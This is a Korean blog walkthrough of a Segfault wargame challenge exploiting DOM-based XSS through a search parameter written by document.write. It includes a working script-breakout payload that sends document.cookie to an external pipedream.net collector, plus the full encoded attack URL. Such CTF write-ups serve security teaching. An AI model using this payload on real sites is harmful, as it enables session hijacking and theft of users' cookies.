워게임 문제풀이/Segfault

<Segfault> 워게임 문제풀이 [XSS Challenge]

무너박사 2024. 7. 2. 00:11

목표 : 관리자의 쿠키를 탈취하라!


일단 페이지로 들어와줍니다.

혹시나 마이페이지에 취약점이 있을지도 모르니 체크한번 해주겠습니다.


<마이페이지>

 

흠...역시나 user 라는 변수는 페이지에 출력되지 않는 변수인것 같네요..

그러면 다음으로 게시글 페이지로 이동해보겠습니다.

 


<게시글 페이지>

 

밑에 보시면 james 라고 입력할시 화면에 'james 에 대한 검색결과가 없습니다' 라고 출력이 됩니다.

화면에 직접적으로 출력이 되니 XSS 를 위해 살펴볼 가치가 있습니다.

검색창 입력값 : james
결과

 

 

Burp Suite 를 이용해 이 게시글 페이지의 코드를 살펴보겠습니다.


 

<Burp Suite - 게시글 페이지>

 

 

일단 저희가 보내는 변수가 GET 방식으로 들어가고 있는것을 확인했습니다.

 

표시된 1번부분을 보면 분명 화면에 james 라고 출력되고 있는데 코드상으로는 james 가 없습니다..

2번부분을 보니깐 james라는 입력값을 keyword라는 변수에 넣어준후 document.write 를 통해 출력하고 있습니다.

.

.

.

그러면 keyword 부분에 저희가 입력한 값이 document.write(keyword) 부분의 keyword 값에 들어가서 출력이 되고있다는 뜻이니깐 ... DOM Based XSS 를 이용해볼수 있을것 같습니다.

 

<script>
		var keyword = (new URLSearchParams(window.location.search)).get('board_result');
		if(keyword){
			document.getElementById('search_addr').value = keyword;
			document.write(keyword+'에 대한 검색 결과가 없습니다.');
		}

	</script>

<james 를 화면에 출력해준 스크립트 코드>

 


입력값 : </script><script>alert(1)</script> // POC코드(alert(1)) 정상작동

 

 

<예상되는 자바스크립트 코드>

<script>
		var keyword = (new URLSearchParams(window.location.search)).get('board_result');
		if(keyword){
			document.getElementById('search_addr').value = keyword;
			document.write(</script><script>alert(1)</script> //+'에 대한 검색 결과가 없습니다.');
		}

	</script>

 

document.write 에 의해 문서에 글이 써질텐데 그 글에서 </script>로 전에있던 스크립트를 무력화 시키고 새로운 스크립트를 추가해줌으로써 우리가 원하는 poc 코드를 동작시킬수 있게 되었다.

 

이제 POC 코드 부분에 쿠키탈취 코드를 삽입해주자.

 


<쿠키탈취>

 

 

입력값 </script><script>var data =document.cookie; var i=new Image(); i.src='https://encxlimxsq6z.x.pipedream.net?cookie='+data;</script> //
페이지주소 http://ctf.segfaulthub.com:4343/xss_4/notice_list.php?option_val=username&board_result=%3C%2Fscript%3E%3Cscript%3Evar+data+%3Ddocument.cookie%3B+var+i%3Dnew+Image%28%29%3B+i.src%3D%27https%3A%2F%2Fencxlimxsq6z.x.pipedream.net%3Fcookie%3D%27%2Bdata%3B%3C%2Fscript%3E+%2F%2F&board_search=%F0%9F%94%8D&date_from=&date_to=

 

 


 

무사히 쿠키가 탈취된것을 볼 수 있다.


 

<관리자 쿠키 탈취>

 

관리자 컴퓨터로 GET 요청보내기


 

 

무사히 관리자 쿠키(FLAG) 를 탈취할 수 있었습니다!

 


긴 글 읽어주셔서 감사합니다!